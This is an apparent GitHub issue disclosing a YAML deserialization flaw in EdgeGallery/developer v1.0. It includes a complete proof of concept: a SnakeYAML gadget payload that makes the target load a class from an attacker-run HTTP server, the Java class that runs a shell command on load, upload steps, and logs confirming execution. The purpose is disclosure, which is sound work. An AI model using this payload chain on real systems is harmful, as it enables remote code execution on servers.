New issue

Jump to bottom

There is a Deserialization vulnerability that can execute system command. #1

Open nirvinana opened this issue on May 25, 2021 · 0 comments

nirvinana commented on May 25, 2021 • edited

vulnerability type: Deserialization of Untrusted Data
impact: system command execution
app version: Edgegallery/developer v1.0

1. Create a META-INF/services file, and create a javax.script.ScriptEngineFactory file, and write what needs to be loaded
   The name of the class is pocy, and the files of this class are placed in the same directory as META-INF:

```
[root@VM-0-5-centos yaml]# ls -alR
.:
total 20
drwxr-xr-x   3 root root 4096 Mar 29 17:37 .
dr-xr-x---. 12 root root 4096 Mar 29 17:37 ..
drwxr-xr-x   3 root root 4096 Mar 26 23:37 META-INF
-rw-r--r--   1 root root 1639 Mar 29 17:37 pocy.class
-rw-r--r--   1 root root 1630 Mar 29 17:37 pocy.java

./META-INF:
total 12
drwxr-xr-x 3 root root 4096 Mar 26 23:37 .
drwxr-xr-x 3 root root 4096 Mar 29 17:37 ..
drwxr-xr-x 2 root root 4096 Mar 27 08:06 services

./META-INF/services:
total 12
drwxr-xr-x 2 root root 4096 Mar 27 08:06 .
drwxr-xr-x 3 root root 4096 Mar 26 23:37 ..
-rw-r--r-- 1 root root    6 Mar 27 08:06 javax.script.ScriptEngineFactory
[root@VM-0-5-centos yaml]#
```

2. File content:

```
[root@VM-0-5-centos yaml]# cat META-INF/services/javax.script.ScriptEngineFactory
pocy
```

3. Start an httpserver server:
   `python -m SimpleHTTPServer 60001`
4. Prepare yaml POC:
   `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]`
5. Install and access the EdgeGallery/developer module, click "Deploy and debug" -> "Next"

6. Upload the constructed yaml file

```
---
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL
["http://ip:60001/"]]]]
```

Click to upload the created yaml file.

7. View the request information of the http server:

```
[root@VM-0-5-[illegible]]# python -m SimpleHTTPServer 60001
Serving HTTP on 0.0.0.0 port 60001 ...
[illegible] - - [29/Mar/2021 22:17:51] "HEAD /META-INF/services/javax.script.ScriptEng
ineFactory HTTP/1.1" 200 -
[illegible] - - [29/Mar/2021 22:17:51] "GET /META-INF/services/javax.script.ScriptEngi
neFactory HTTP/1.1" 200 -
[illegible] - - [29/Mar/2021 22:17:51] "GET /pocy.class HTTP/1.1" 200 -
```

8. Construct the pocy of the creation command: (contain the "touch /tmp/hackercor0ps" command)

```
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class pocy implements ScriptEngineFactory {

    public pocy() {
        try {
            Runtime.getRuntime().exec(new String[]{"sh","-c","touch /tmp/hackercor0ps"});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }
    @Override
    public String getEngineVersion() {
        return null;
    }
    @Override
    public List<String> getExtensions() {
        return null;
    }
    @Override
    public List<String> getMimeTypes() {
        return null;
    }
    @Override
    public List<String> getNames() {
        return null;
    }
    @Override
    public String getLanguageName() {
        return null;
    }
    @Override
    public String getLanguageVersion() {
        return null;
    }
    @Override
    public Object getParameter(String key) {
        return null;
    }
    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }
    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }
    @Override
    public String getProgram(String... statements) {
        return null;
```

```
    }
    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}
```

10. Log in to the host and verify whether the command is executed successfully.

```
developer-be-0:/tmp$ ls -al /tmp/ha*
-rw-r--r--    1 eguser   eggroup          0 Mar 29 14:30 /tmp/hackercor0ps
developer-be-0:/tmp$
```

We can see that the “touch /tmp/hackercor0ps” command was successfully executed.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant